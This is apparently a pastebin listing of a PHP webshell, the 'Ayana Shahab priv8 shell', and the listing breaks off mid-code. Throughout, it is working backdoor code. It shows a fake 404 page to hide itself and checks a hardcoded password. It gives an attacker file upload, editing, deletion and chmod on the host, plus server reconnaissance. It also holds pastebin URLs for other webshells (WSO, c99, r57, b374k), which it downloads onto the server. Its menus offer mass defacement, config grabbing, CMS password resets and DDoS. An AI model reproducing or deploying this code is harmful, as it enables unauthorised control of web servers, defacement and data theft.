· 9 years ago · May 18, 2017, 01:20 AM
1<?php
2/***********************************************************************
3# Webshell : Ayana shahab shell
4# Author : shutdown57 a.k.a alinko-kun
5# copyright (c) 2016 ~ linuxcode.org
6# Update : http://pastebin.com/u/shutdown57
7# Greets : PeSec Team , WithOutShadow , linuxcode.org
8************************************************************************/
9session_start();
10error_reporting(0);
11ini_set('max_execution_time',0);
12set_time_limit(0);
13ini_set('error_log',NULL);
14date_default_timezone_set("Asia/Jakarta");
15define('judul','Ayana Shahab priv8 shell'); // Set title ;)
16define('ar','<i class=\'fa fa-arrow-right\'></i>');
17$s57_paswot = "77f3cb4ccd1f1ce48fd0b9ffee9a8658";//default password : achan , change with md5 type hash ;) .
18
19function login() {
20$a_log ="<html><head><title>".judul."</title></head>";
21$a_log.="<font color=red>achan</font>@<font color=blue>".$_SERVER['HTTP_HOST']."</font>:<font color=green>".getcwd()."</font> $ sudo su";
22$a_log.="<form method='POST'><label for='pass'>[<font color=purple>sudo</font>]<font color=orange> password for achan</font>:</label><input type='password' name='pass' style='border:0;width:600px;'></form>";
23$a_log.="</body></html>";
24if(empty($_GET['login'])=="achan"){
25 echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
26<html><head>
27<title>404 Not Found</title>
28</head><body>
29<h1>Not Found</h1>
30<p>The requested URL '.$_SERVER['REQUEST_URI'].' was not found on this server.</p>
31<hr>
32<address>'.$_SERVER['SERVER_SOFTWARE'].' Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
33</body></html>
34';
35}else{
36 echo $a_log;
37}
38 exit;
39}
40
41if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
42 if( empty( $s57_paswot ) ||
43 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $s57_paswot) ) )
44 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
45 else
46 login();
47if(empty($_GET['i'])){
48$d=getcwd();
49}else{
50$d=$_GET['i'];
51}
52function tentang(){
53 $tentang="<center>
54 <pre class='w3-code w3-text-indigo w3-text-shadow'>";
55 $tentang.="
56 +-------------------------------------------------+
57 | ~[ Ayana Shahab Priv8 Shell ]~ |
58 | c0dename : Mrs.sl33pyH34d |
59 | Author : shutdown57 a.k.a alinko-kun |
60 | Written : PHP,HTML,CSS(w3.css),JS |
61 +-------------------------------------------------+";
62 $tentang.="</pre>";
63 $tentang.="<h1 class='w3-indigo w3-text-shadow w3-animate-right'>Ayana Shahab priv8 shell</h1>";
64 $tentang.="<h2 class='w3-white w3-text-shadow w3-animate-left'>linuxcode.org ~ WithOutShadow ~ PeSec Team</h2>";
65 $tentang.="<h3 class='w3-indigo w3-text-shadow w3-animate-right'>Thanks for :</h3>";
66 $tentang.="<h4 class='w3-white w3-text-shadow w3-animate-left'>God , You , sunr-15 , google.com ,pastebin.com , [-]sh4d0w_99[!] , MRG#7 , indoXploit , devilzc0de , StackOverFlow , w3schools , tutorialpoint </h4>";
67 return $tentang;
68}
69function tentangAchan(){
70 $usia=date('Y')-1997;
71 $achan="<h3 class='w3-indigo w3-text-shadow w3-text-white w3-center'>About ayana shahab</h3>";
72 $achan.="<center><img src='http://s19.postimg.org/6rkx4tpcj/achan65.jpg' border='0' style='width:200px;height:230px;cursor:zoom-in;' class='w3-center w3-circle' onclick=\"document.getElementById('achan').style.display='block';\"/></center>";
73 $achan.="<table class='w3-table w3-striped w3-border w3-center'>";
74 $achan.="<tr class='w3-blue'><td>Name :</td><td>Ayana Shahab</td></tr>";
75 $achan.="<tr class='w3-light-blue'><td>Born :</td><td>Osaka, 3 June 1997 (age $usia)</td></tr>";
76 $achan.="<tr class='w3-grey'><td>Member :</td><td>JKT48 at Team K3 </td></tr>";
77 $achan.="<tr class='w3-blue-grey'><td>Career :</td><td>2011-2016 (JKT48 Team J) ,Dec 2016 (JKT48 Team K3)</td></tr>";
78 $achan.="</table><div class='w3-modal' style='display:none;' id='achan'><a href='javascript:;' onclick=\"document.getElementById('achan').style.display='none';\" class='w3-btnclose w3-hover-indigo w3-btn-block'>× close</a><img src='http://s19.postimg.org/6rkx4tpcj/achan65.jpg' width='100%' hiegth='100%'></div>";
79 $achan.='<hr><br><center><iframe width="560" height="315" src="https://www.youtube.com/embed/3Yt0dhb6ins?controls=0&showinfo=0" frameborder="0" allowfullscreen></iframe></center>';
80 return $achan;
81}
82function tentangJKT48(){
83 $jkt="<div class='w3-container'><center><pre class='w3-code w3-text-indigo'>";
84 $jkt.="
85__ _ _ _______ _ _ ___ __
86\ \ | | |/ /_ _| || | ( _ ) / /
87 \ \_ | | ' / | | | || |_ / _ \/ /
88 / / |_| | . \ | | |__ _| (_) \ \
89/_/ \___/|_|\_\ |_| |_| \___/ \_\
90
91 Joyfull Kawaii Try to be the best
92";
93 $jkt.="</pre>";
94 $jkt.="<iframe src='https://en.wikipedia.org/wiki/JKT48' style='width:80%;height:400px;' class='w3-indigo w3-border'></iframe>";
95 $jkt.="</center></div>";
96return $jkt;
97}
98$l=array(
99 'adminer'=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",
100 'wso'=>"http://pastebin.com/raw/N0eh3Q7Y",
101 'bejak'=>"http://pastebin.com/raw/sQJVES6y",
102 'indoxploit_shell'=>'http://pastebin.com/raw/nC6pWh5a',
103 'andela'=>'http://pastebin.com/raw/0dkmjaWJ',
104 'injection'=>'http://pastebin.com/raw/znH7r6Jr',
105 'sbh'=>'http://pastebin.com/raw/SMDJVTF8',
106 'bh'=>'http://pastebin.com/raw/3L2ESWeu',
107 'c99'=>'http://pastebin.com/raw/Ms0ptnpH',
108 'r57'=>'http://pastebin.com/raw/S9tzBgg3',
109 );
110function ambilcode($url, $isi) {
111 $fp = fopen($isi, "w");
112 $ch = curl_init();
113 curl_setopt($ch, CURLOPT_URL, $url);
114 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
115 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
116 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
117 curl_setopt($ch, CURLOPT_FILE, $fp);
118 return curl_exec($ch);
119 curl_close($ch);
120 fclose($fp);
121 ob_flush();
122 flush();
123 }
124function ukuranupil($upil){
125 $size = filesize($upil)/1024;
126$size = round($size,3);
127if($size >= 1024){
128$size = round($size/1024,2).' MB';
129}else{
130$size = $size.' KB';
131}
132return $size;
133}
134function perms($file)
135{
136 if($mode=@fileperms($file)){
137 $perms='';
138 $perms .= ($mode & 00400) ? 'r' : '-';
139 $perms .= ($mode & 00200) ? 'w' : '-';
140 $perms .= ($mode & 00100) ? 'x' : '-';
141 $perms .= ($mode & 00040) ? 'r' : '-';
142 $perms .= ($mode & 00020) ? 'w' : '-';
143 $perms .= ($mode & 00010) ? 'x' : '-';
144 $perms .= ($mode & 00004) ? 'r' : '-';
145 $perms .= ($mode & 00002) ? 'w' : '-';
146 $perms .= ($mode & 00001) ? 'x' : '-';
147 return $perms;
148 }
149 else return "??????????";
150}
151function lmodif($upil){
152 $mod=date('d M Y [H:m]',filemtime($upil));
153 return $mod;
154}
155function owngro($file){
156$name=@posix_getpwuid(@fileowner($file));
157$group=@posix_getgrgid(@filegroup($file));
158$owngro=$name['name'].":".$group['name'];
159return $owngro;
160}
161$html_a='<!DOCTYPE html>';
162$html_a.='<html><head><title>'.judul.'</title><link rel="ICON" type="text/css" href="https://pbs.twimg.com/profile_images/740108670994763776/WvsElzwN.jpg">';
163
164$html_a.='
165<meta name="author" content="shutdown57">
166<meta name="keywords" content="shutdown57,ayana shahab shell">
167<meta name="description" content="ayana shahab shell c0ded by shutdown57">
168<link rel="stylesheet" href="http://www.w3schools.com/lib/w3.css">
169<link rel="stylesheet" href="w3.css">
170<link rel="stylesheet" href="http://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.min.css">';
171$html_a.='</head><body onload="haposurl();"><style type="text/css">
172 *{font-size:12px;font-family: courier new;}a{text-decoration: none;}
173</style>';
174$nav_a ='<ul class="w3-navbar w3-left-align w3-large w3-indigo">';
175$nav_a.='<li><a href="?index.php" class="w3-hover-white"><i class="fa fa-home"></i> Home</a></li>';
176$nav_a.='<li class="w3-dropdown-hover"><a href="#" class="w3-hover-white"><i class="fa fa-user"></i> About</a>';
177$nav_a.='<div class="w3-dropdown-content w3-white">';
178$nav_a.='<a href="?a=tentang&i='.$d.'" class="w3-hover-indigo">'.ar.' about this</a>';
179$nav_a.='<a href="?a=achan&i='.$d.'" class="w3-hover-indigo">'.ar.' about ayana shahab</a>';
180$nav_a.='<a href="?a=jkt48&i='.$d.'" class="w3-hover-indigo">'.ar.' about JKT48</a></div></li>';
181$nav_a.='<li class="w3-dropdown-hover"><a href="?a=terminal&i'.$d.'" class="w3-hover-white"><i class="fa fa-terminal"></i> Terminal</a>';
182$nav_a.='<div class="w3-dropdown-content w3-white">';
183$nav_a.='<a href="?a=shell&i='.$d.'" class="w3-hover-indigo">'.ar.' Shell <i class="fa fa-linux"></i></a>';
184$nav_a.='<a href="?a=cmd&i='.$d.'" class="w3-hover-indigo">'.ar.' CMD <i class="fa fa-windows"></i></a>';
185$nav_a.='</div></li>';
186$nav_a.='<li class=" w3-dropdown-hover"><a href="#" class="w3-hover-white "><i class="fa fa-database"></i> Database assesment</a>';
187$nav_a.='<div class="w3-dropdown-content w3-white"> ';
188$nav_a.='<a href="?a=svc&i='.$d.'" class="w3-hover-indigo">'.ar.' SQLi vuln checker</a>';
189$nav_a.='<a href="?a=adminer&i='.$d.'" class="w3-hover-indigo">'.ar.' Adminer</a>';
190$nav_a.='<a href="?a=dbdump&i='.$d.'" class="w3-hover-indigo">'.ar.' DB Dump</a>';
191$nav_a.='</div></li>';
192$nav_a.='<li class="w3-dropdown-hover"><a href="#" class="w3-hover-white "><i class="fa fa-bold"></i> String tools</a>';
193$nav_a.='<div class="w3-dropdown-content w3-white">';
194$nav_a.='<a href="?a=hi&i='.$d.'" class="w3-hover-indigo">'.ar.' Hash identify</a>';
195$nav_a.='<a href="?a=ph&i='.$d.'" class="w3-hover-indigo">'.ar.' Password Hash</a>';
196$nav_a.='<a href="?a=ed&i='.$d.'" class="w3-hover-indigo">'.ar.' Enc0de & Dec0de</a>';
197$nav_a.='<a href="?a=rs&i='.$d.'" class="w3-hover-indigo">'.ar.' Replace String</a>';
198$nav_a.='</div></li>';
199$nav_a.='<li class="w3-dropdown-hover"><a href="#" class="w3-hover-white "><i class="fa fa-universal-access"></i> Backdoor</a>';
200$nav_a.='<div class="w3-dropdown-content w3-white">';
201$nav_a.='<a href="?a=wso&i='.$d.'" class="w3-hover-indigo">'.ar.' WSO</a>';
202$nav_a.='<a href="?a=injection&i='.$d.'" class="w3-hover-indigo">'.ar.' 1n73ction</a>';
203$nav_a.='<a href="?a=bejak&i='.$d.'" class="w3-hover-indigo">'.ar.' b374k</a>';
204$nav_a.='<a href="?a=andela&i='.$d.'" class="w3-hover-indigo">'.ar.' andela</a>';
205$nav_a.='<a href="?a=idx&i='.$d.'" class="w3-hover-indigo">'.ar.' indoxploit</a>';
206$nav_a.='<a href="?a=bh&i='.$d.'" class="w3-hover-indigo">'.ar.' Blackhat</a>';
207$nav_a.='<a href="?a=sbh&i='.$d.'" class="w3-hover-indigo">'.ar.' Surabaya Blackhat</a>';
208$nav_a.='<a href="?a=c&i='.$d.'" class="w3-hover-indigo">'.ar.' c99</a>';
209$nav_a.='<a href="?a=r&i='.$d.'" class="w3-hover-indigo">'.ar.' r57</a>';
210$nav_a.='</div></li>';
211$nav_a.='<li class="w3-dropdown-hover"><a href="#" class="w3-hover-white "><i class="fa fa-firefox"></i> Web analisist</a>';
212$nav_a.='<div class="w3-dropdown-content w3-white">';
213$nav_a.='<a href="?a=cg&i='.$d.'" class="w3-hover-indigo">'.ar.' Config grabber</a>';
214$nav_a.='<a href="?a=af&i='.$d.'" class="w3-hover-indigo">'.ar.' admin finder</a>';
215$nav_a.='<a href="?a=md&i='.$d.'" class="w3-hover-indigo">'.ar.' Mass deface</a>';
216$nav_a.='<a href="?a=wprp&i='.$d.'" class="w3-hover-indigo">'.ar.' WPRessPass</a>';
217$nav_a.='<a href="?a=jrp&i='.$d.'" class="w3-hover-indigo">'.ar.' JoomRessPass</a>';
218$nav_a.='<a href="?a=net&i='.$d.'" class="w3-hover-indigo">'.ar.' NetSploit</a>';
219$nav_a.='<a href="?a=ddos&i='.$d.'" class="w3-hover-indigo">'.ar.' DDoS</a>';
220$nav_a.='<a href="?a=em&i='.$d.'" class="w3-hover-indigo">'.ar.' eMail</a>';
221$nav_a.='<a href="?a=zh&i='.$d.'" class="w3-hover-indigo">'.ar.' ZONE-H</a>';
222$nav_a.='<a href="?a=sym&i='.$d.'" class="w3-hover-indigo">'.ar.' Symlink</a>';
223$nav_a.='<a href="?a=rdp&i='.$d.'" class="w3-hover-indigo">'.ar.' RDP tools</a>';
224$nav_a.='<a href="?a=fr&o='.$d.'" class="w3-hover-indigo">'.ar.' Fake root</a>';
225$nav_a.='</div></li>';
226$nav_a.='<li class="w3-dropdown-hover"><a href="#" class="w3-hover-white"><i class="fa fa-file-o"></i> SC Deface</a>';
227$nav_a.='<div class="w3-dropdown-content w3-white">';
228$nav_a.='<a href="?a=wos&i='.$d.'" class="w3-hover-indigo">'.ar.' WithOutShadow</a>';
229$nav_a.='<a href="?a=ps&i='.$d.'" class="w3-hover-indigo">'.ar.' PeSeC Team</a>';
230$nav_a.='</div></li>';
231 if(isset($_GET['s'])){
232 $nav_a.="<li class='w3-dropdown-hover'>";
233 $nav_a.="<a href='#' class='w3-hover-white '>? Action</a>";
234 $nav_a.="<div class='w3-dropdown-content'>";
235 $nav_a.="<a href='?a=rename&i=$d&s=".$_GET['s']."'>".ar." Rename</a>";
236 $nav_a.="<a href='?a=edit&i=$d&s=".$_GET['s']."'>".ar." Edit</a>";
237 $nav_a.="<a href='?a=unlink&i=$d&s=".$_GET['s']."'>".ar." Delete</a>";
238 $nav_a.="<a href='?a=chmod&i=$d&s=".$_GET['s']."'>".ar." Chmod</a>";
239 $nav_a.="<a href='?a=download&i=$d&s=".$_GET['s']."'>".ar." Download</a>";
240 $nav_a.="</div></li> ";
241 }
242 $nav_a.='<li title="Ayana Shahab Member JKT48 at Team K3" class="w3-dropdown-hover"><b><a class="w3-text-shadow w3-center w3-hover-pale-indigo" href="#"><i class="fa fa-paw"></i> Ayana Shahab Priv8 Shell <i class="fa fa-paw"></i></a></b>';
243 $nav_a.='<div class="w3-dropdown-content w3-white">';
244$nav_a.='<a href="?a=themes&i='.$d.'" class="w3-hover-indigo">'.ar.' Change Themes</a>';
245$nav_a.='<a href="?a=pass&i='.$d.'" class="w3-hover-indigo">'.ar.' Change Password</a></div></li>';
246 $nav_a.='<li class="w3-hover-white w3-right"><a href="?a=logout" class="w3-hover-white"><i class="fa fa-sign-out"></i>Logout</a></li></ul>';//end
247 echo $html_a;
248 echo $nav_a;
249
250 $disabled=(is_writable($d)) ? : "disabled";
251 if(isset($_POST['upfile'])){
252 $files = array(
253 '1' => $_FILES['files']['name'],
254 '2' => $_FILES['files2']['name'],
255 '3' => $_FILES['files3']['name'],
256 '4' => $_FILES['files4']['name'],
257 '5' => $_FILES['files5']['name']
258 );
259 $tmp= array(
260 '1' => $_FILES['files']['tmp_name'],
261 '2' => $_FILES['files2']['tmp_name'],
262 '3' => $_FILES['files3']['tmp_name'],
263 '4' => $_FILES['files4']['tmp_name'],
264 '5' => $_FILES['files5']['tmp_name']
265 );
266 $dir=array(
267 '1' => $_POST['dir']."/",
268 '2' => $_POST['dir2']."/",
269 '3' => $_POST['dir3']."/",
270 '4' => $_POST['dir4']."/",
271 '5' => $_POST['dir5']."/"
272 );
273 move_uploaded_file($tmp['1'],$dir['1'].$files['1']);
274 move_uploaded_file($tmp['2'],$dir['2'].$files['2']);
275 move_uploaded_file($tmp['3'],$dir['3'].$files['3']);
276 move_uploaded_file($tmp['4'],$dir['4'].$files['4']);
277 move_uploaded_file($tmp['5'],$dir['5'].$files['5']);
278 echo "<script>
279 alert('Upload done!');
280 </script>";
281}
282if(is_writable($d)){
283 $stat='<font color="indigo">Writable [OK]</font>';
284}else{
285 $stat='<font color="grey">Not Writable [Read-Only]</font>';
286}
287
288 echo'<script type="text/javascript">
289 function ijolno(anjing,kucing){
290 document.getElementById(anjing).style.display="none";
291 document.getElementById(kucing).style.display="block";
292 }
293 function upload(){
294 document.getElementById("upload5").style.display="block";
295 }
296</script>';
297
298echo'<div class="w3-modal " id="upload5" style="display:none;"><a href="javascript:;" onclick="document.getElementById(\'upload5\').style.display=\'none\';" class="w3-closebtn w3-hover-indigo" style="top:0;right:0;position:fixed;">×</a>';
299echo'<div class="w3-container w3-modal-content w3-indigo w3-card-8 w3-center"><h3 class="w3-white w3-text-shadow">Uploader Files</h3>';
300echo'<p> status upload file : '.$stat.'</p><table class="w3-table w3-border"><tr><td>file</td><td>Target Dir</td></tr><tr><td>';
301echo'<form method="Post" enctype="multipart/form-data">';
302$form_a='<input type="file" name="files" '.$disabled.'></td><td>';
303$form_a.='<input type="text" name="dir" value="'.$d.'" class="w3-input"></td></tr><tr><td>';
304$form_a.='<input type="file" name="files2" '.$disabled.'></td><td>';
305$form_a.='<input type="text" name="dir2" value="'.$d.'" class="w3-input" ></td></tr><tr><td>';
306$form_a.='<input type="file" name="files3" '.$disabled.'></td><td>';
307$form_a.='<input type="text" name="dir3" value="'.$d.'" class="w3-input"></td></tr><tr><td>';
308$form_a.='<input type="file" name="files4" '.$disabled.'></td><td>';
309$form_a.='<input type="text" name="dir4" value="'.$d.'" class="w3-input"></td></tr><tr><td>';
310$form_a.='<input type="file" name="files5" '.$disabled.'></td><td>';
311$form_a.='<input type="text" name="dir5" value="'.$d.'" class="w3-input"></td></tr></table><br>';
312$form_a.='<input type="submit" name="upfile" class="w3-btn w3-btn-block w3-white" value="upload all"></form></div></div>';
313echo $form_a;
314if(!function_exists('posix_getegid')) {
315 $user = @get_current_user();
316 $uid = @getmyuid();
317 $gid = @getmygid();
318 $group = "?";
319} else {
320 $uid = @posix_getpwuid(posix_geteuid());
321 $gid = @posix_getgrgid(posix_getegid());
322 $user = $uid['name'];
323 $uid = $uid['uid'];
324 $group = $gid['name'];
325 $gid = $gid['gid'];
326}
327
328function convertByte($s) {
329if($s >= 1073741824)
330return sprintf('%1.2f',$s / 1073741824 ).' GB';
331elseif($s >= 1048576)
332return sprintf('%1.2f',$s / 1048576 ) .' MB';
333elseif($s >= 1024)
334return sprintf('%1.2f',$s / 1024 ) .' KB';
335else
336return $s .' B';
337}
338$os=(preg_match('/linux|Linux/',php_uname())) ? "<i class='fa fa-linux' title='linux'></i>" : "<i class='fa fa-windows' title='windows'></i>";
339$sm= ini_get('safe_mode') ? "<font color=indigo> ON<?font>" : "<font color=grey> OFF</font>";
340$mysql= function_exists('mysql_connect')?"<font color=indigo> ON</font>":"<font color=grey> OFF</font>";
341$url_fp =ini_get('url_fopen')?"<font color=indigo> ON</font>":"<font color=grey> OFF</font>";
342$curl=function_exists('curl_init')?"<font color=indigo> ON</font>":"<font color=grey> OFF</font>";
343$df=ini_get('disable_functions') ? substr(ini_get('disable_functions'),0,50).",etc..." : "<font color=grey> NONE</font>";
344
345echo "<hr>
346<div class='w3-container w3-indigo'>
347<div class='w3-row'>
348<div class='w3-col m6 l6 s12 w3-animate-right'>
349HOSTNAME : ".$_SERVER['HTTP_HOST']."<br>
350Free Disk : ".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."<br>
351IP SERVER : ".gethostbyname($_SERVER['HTTP_HOST'])." | YOUR IP : ".$_SERVER['REMOTE_ADDR']." <br>
352SERVER SOFTWARE : ".$_SERVER['SERVER_SOFTWARE']."<br>
353User: <font color=indigo>".$user."</font> (".$uid.") Group: <font color=indigo>".$group."</font> (".$gid.")<br>
354PHP version : ".phpversion()."-[<a href='?a=phpinfo&i=$d'>PHPINFO</a>]
355CURL:".$curl."|safemode:".$sm."|URL FOPEN:".$url_fp."|MySQL:".$mysql."<br>
356UNAME : ".php_uname()."<br>
357DISABLE FUNCTIONS :".$df."<br>
358</div>
359<div class='w3-col m6 l6 s12 w3-animate-left'>
360<form method='post' enctype='multipart/form-data'>
361<table class='w3-table'><tr><td>File :</td><td>
362<input type='file' name='upfile' class='w3-input w3-animate-input' style='width:200px;' ".$disabled."></td><td><button type='submit' name='subup' class='w3-btn w3-white w3-text-shadow'><i class='fa fa-upload'></i> upload</button></td></tr></table></form>";
363if(isset($_POST['subup'])){
364 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$d."/".$_FILES['upfile']['name'])){
365 echo "<script>
366 alert('upload done!');
367 </script>";
368 }else{
369 echo "<script>
370 alert('upload failed');
371 </script>";
372 }
373 }
374
375echo"
376<table class='w3-table'><tr><td><a href=\"javascript:ijolno('sengelek','sengapek');\"><i class='fa fa-hand-o-right' style='font-size:24px;'></i></a></td><td>
377<div id='sengapek' style='display:none;'>
378<form method='get'>
379 <input type='text' value='".$d."' name='i' class='w3-input w3-animate-input w3-indigo' style='width:200px'>
380 </form>
381 </div>
382<div id='sengelek'>
383 ";
384
385$d=str_replace('\\','/',$d);
386$path = explode('/',$d);
387
388foreach($path as $id=>$curdir){
389if($curdir == '' && $id == 0){
390$a = true;
391echo '<a href="?i=/">/</a>';
392continue;
393}
394if($curdir == '') continue;
395echo '<a href="?i=';
396for($i=0;$i<=$id;$i++){
397echo "$path[$i]";
398if($i != $id) echo "/";
399}
400echo '">'.$curdir.'</a>/';
401}
402$pwd=str_replace('\\','/',getcwd());
403(is_writable($d))?$stat=" ~ <font color=indigo>WRITABLE</font>" :$stat="<font color=grey>NOT WRITABLE</font>";
404echo $stat."</div></td></tr><tr class='w3-center'><td colspan='2'><a href='?index.php' class='w3-margin-left' title='home page.'><i class='fa fa-home' style='font-size:20px;'></i></a> <a href='javascript:history.go(-1);' class='w3-margin-left' title='go back one page,'><i class='fa fa-arrow-left' style='font-size:20px;'></i></a> <a href='javascript:history.go(+1);' class='w3-margin-left' title='go forward one page.'><i class='fa fa-arrow-right' style='font-size:20px;'></i></a> <a href='".$_SERVER['REQUEST_URI']."' class='w3-margin-left' title='refresh page'><i class='fa fa-refresh' style='font-size:20px;'></i></a> <a href='javascript:;' class='w3-margin-left' onclick='upload();' title='Show uploader'><i class='fa fa-upload' style='font-size:20px;'></i></a></td></tr></table></div></div></div><hr>";
405if(empty($_GET['a'])){
406 echo'<form method="POST"><table class="w3-table w3-responsive w3-striped">';
407 echo'<thead class="w3-indigo w3-hover-indigo"><th style="width:20px;">No.</th><th style="width:20px;">^</th><th style="width:250px;max-width:300px;">Name</th><th style="width:100px;">Size</th><th style="width:130px;max-width:180px;">Type</th><th style="width:160px;max-width:190px;">Group:Owner</th><th style="width:120px;">Permission</th><th style="width:150px;max-width:180px;">Last Modified</th><th style="width:120px;">Action</th></thead>';
408 echo "<tr class='w3-hover-indigo'><td>0</td><td></td><td><a href='?i=".dirname("$d")."'><i class='fa fa-arrow-left'></i></a></td><td>--</td><td>achan/link</td><td>achan:ayana</td><td>~</td><td>~</td><td>
409 <div class='w3-dropdown-hover'>
410 <a href='#' class='w3-btn w3-indigo' style='border-radius:100%;-webkit-border-radius:100%;-o-border-radius:100%;-moz-border-radius:100%;'>?</a>
411 <div class='w3-dropdown-content w3-border'>
412 <a href='?a=mkdir&i=$d'>make directory</a>
413 <a href='?a=mkfile&i=$d'>make file</a>
414 </div>
415</div>
416 </td>";
417 $s=scandir($d);
418 $no=1;
419 $total_file=0;
420 $total_dir=0;
421 foreach ($s as $d2) {
422 if(!is_dir("$d/$d2")||$d2=='.'||$d2=='..')continue;
423 if(mime_content_type("$d/$d2")){
424 $mime=mime_content_type("$d/$d2");
425 }else{
426 $mime="unknow/denied";
427 }
428 echo "<tr class='w3-hover-indigo'><td>".$no++."</td><td><input type='checkbox' class='w3-check' name='cekd[]' value='".$d."/".$d2."' ></td><td><i class='fa fa-folder'></i> <a href='?i=$d/$d2' title='dir : $d2'>$d2</a></td><td>".ukuranupil("$d/$d2")."</td><td>".$mime."</td><td>".owngro("$d/$d2")."</td><td>".perms("$d/$d2")."</td><td>".lmodif("$d/$d2")."</td><td>
429 <div class='w3-dropdown-hover'>
430 <a href='#' class='w3-btn w3-indigo' style='border-radius:100%;-webkit-border-radius:100%;-o-border-radius:100%;-moz-border-radius:100%;'>?</a>
431 <div class='w3-dropdown-content w3-border'>
432 <a href='?a=rename&i=$d&s=$d2'>Rename</a>
433 <a href='?a=rmdir&i=$d&s=$d2'>Delete</a>
434 <a href='?a=chmod&i=$d&s=$d2'>Chmod</a>
435 </div>
436</div>
437 </td></tr>";
438 $total_dir++;
439 }
440 foreach ($s as $f) {
441 if(!is_file("$d/$f")||$f=='.'||$f=='..')continue;
442 if(mime_content_type("$d/$f")){
443 $mime= mime_content_type("$d/$f");
444 }else{
445 $mime="unknow/denied";
446 }
447 echo "<tr class='w3-hover-indigo'><td>".$no++."</td><td><input type='checkbox' class='w3-check' name='cekf[]' value='".$d."/".$f."' ></td><td><i class='fa fa-file'></i> <a href='?i=$d&a=view&s=$f' title='file : $f'>$f</a></td><td>".ukuranupil("$d/$f")."</td><td>".$mime."</td><td>".owngro("$d/$f")."</td><td>".perms("$d/$f")."</td><td>".lmodif("$d/$f")."</td><td>
448 <div class='w3-dropdown-hover'>
449 <a href='#' class='w3-btn w3-indigo' style='border-radius:100%;-webkit-border-radius:100%;-o-border-radius:100%;-moz-border-radius:100%;'>?</a>
450 <div class='w3-dropdown-content w3-border'>
451 <a href='?a=rename&i=$d&s=$f'>Rename</a>
452 <a href='?a=edit&i=$d&s=$f'>Edit</a>
453 <a href='?a=unlink&i=$d&s=$f'>Delete</a>
454 <a href='?a=chmod&i=$d&s=$f'>Chmod</a>
455 <a href='?a=download&i=$d&s=$f'>Download</a>
456 </div>
457</div> </td></tr>";
458$total_file++;
459 }
460 echo '
461<tr class="w3-indigo w3-text-shadow"><td colspan="9">
462<select name="select" onchange="this.form.submit()" style="width:100%" class="w3-input w3-indigo w3-hover-white">
463<option> action selected files | total : '.$total_file.' files & '.$total_dir.' directories | where : '.$d.'</option>
464<option value="del">delete</option>
465<option value="backup">backUp</option>
466<option value="unzip">unzip</option>
467<option value="gz">compress .gz</option>
468<option value="tar"> compress .tar.gz </option>
469</select></td></tr>
470</table></form>';
471
472if(isset($_POST['select'])){
473 $file=$_POST['cekf'];
474 $dir=$_POST['cekd'];
475 if($_POST['select']=='del'){
476 if($_POST['cekf']){
477
478 foreach ($file as $cekf) {
479 if(unlink($cekf)){
480 echo"<meta http-equiv='refresh' content=0;url=>";
481 }
482 }
483 }
484 if($_POST['cekd']){
485
486 foreach ($dir as $cekd) {
487 if(rmdir($cekd)){
488 echo"<meta http-equiv='refresh' content=0;url=>";
489 }
490 }}}elseif($_POST['select']=='backup'){
491if($_POST['cekf']){
492
493 foreach ($file as $copy) {
494 $copi=basename($copy);
495 if(!file_exists("backup")){
496 @mkdir('backup');
497 }
498 if(copy($copy,"backup/".basename($copy))){
499 echo"<meta http-equiv='refresh' content=0;url=?i=".getcwd()."/backup>";
500 }else{
501 echo "[<font color=grey>FAIL</font>]--> ".basename($Copy)."<br>";
502 }
503 }
504}
505}elseif ($_POST['select']=='unzip') {
506 @mkdir("extract");
507 foreach ($file as $unzip) {
508 $zip = new ZipArchive;
509$res = $zip->open($unzip);
510
511if ($res === TRUE) {
512
513$zip->extractTo("extract");
514
515$zip->close();
516 echo"<meta http-equiv='refresh' content=0;url=?i=".getcwd()."/extract>";
517 } else {
518
519echo "[<font color=grey>FAIL</font>] feiled!";
520 }
521 }
522}elseif($_POST['select']=='gz'){
523 if($_POST['cekf']){
524 if(!file_exists("compress")){
525 @mkdir("compress");
526 }
527foreach($file as $gz){
528$gzfile = "compress/".basename($gz).".gz";
529$fp = gzopen($gzfile, 'w9');
530if(gzwrite($fp, file_get_contents($gz))){
531 echo"<meta http-equiv='refresh' content=0;url=?i=".getcwd()."/compress>";
532}
533gzclose($fp);
534
535}
536}
537}elseif ($_POST['select']=='tar') {
538 try
539{
540 $a = new PharData('achan48.tar');
541foreach($file as $tar){
542 $a->addFile($tar);
543}
544 $a->compress(Phar::GZ);
545 @unlink('achan48.tar');
546}
547catch (Exception $e)
548{
549 echo "Exception : " . $e;
550}
551}
552}
553
554
555
556}else{
557 function refpage($url){
558 echo'<meta http-equiv="refresh" content="0;URL='.$url.'">';
559}
560
561if($_GET['a']=='rename'){
562
563 echo "<div class='w3-container w3-center'>
564<h3 class='w3-indigo w3-text-white w3-text-shadow'>New name</h3>
565<table><tr><td>
566<form method='post'>newname :</td><td><input type='text' name='newname' value='".$_GET[s]."' class='w3-input w3-animate-input' style='width:200px'></td><td><input type='submit' value='>>' class='w3-btn w3-indigo'></td></tr></table></form>
567 </div>";
568 if(isset($_POST['newname'])){
569 if(rename($_GET['i']."/".$_GET['s'],$_GET['i']."/".$_POST['newname'])){
570 refpage('?i='.$_GET['i']);
571 }else{
572 refpage('?i='.$_GET['i']);
573 }
574 }
575}elseif ($_GET['a']=='rmdir') {
576 function rmdir_unlink_rmdir($d){
577 if(!rmdir($d)){
578 $s=scandir($d);
579 foreach ($s as $ss) {
580 if(is_file($d."/".$ss)){
581 if(unlink($d."/".$ss)){
582 rmdir($d);
583
584 }
585 }
586 if(is_dir($d."/".$ss)){
587 rmdir($d."/".$ss);
588 rmdir($d);
589
590 }
591 }
592 }
593 }
594 if(rmdir_unlink_rmdir($_GET['i']."/".$_GET['s'])){
595 refpaage('?i='.$_GET['i']);
596 }else{
597 refpage('?i='.$_GET['i']);
598 }
599}elseif ($_GET['a']=='unlink') {
600if(unlink($_GET['i']."/".$_GET['s'])){
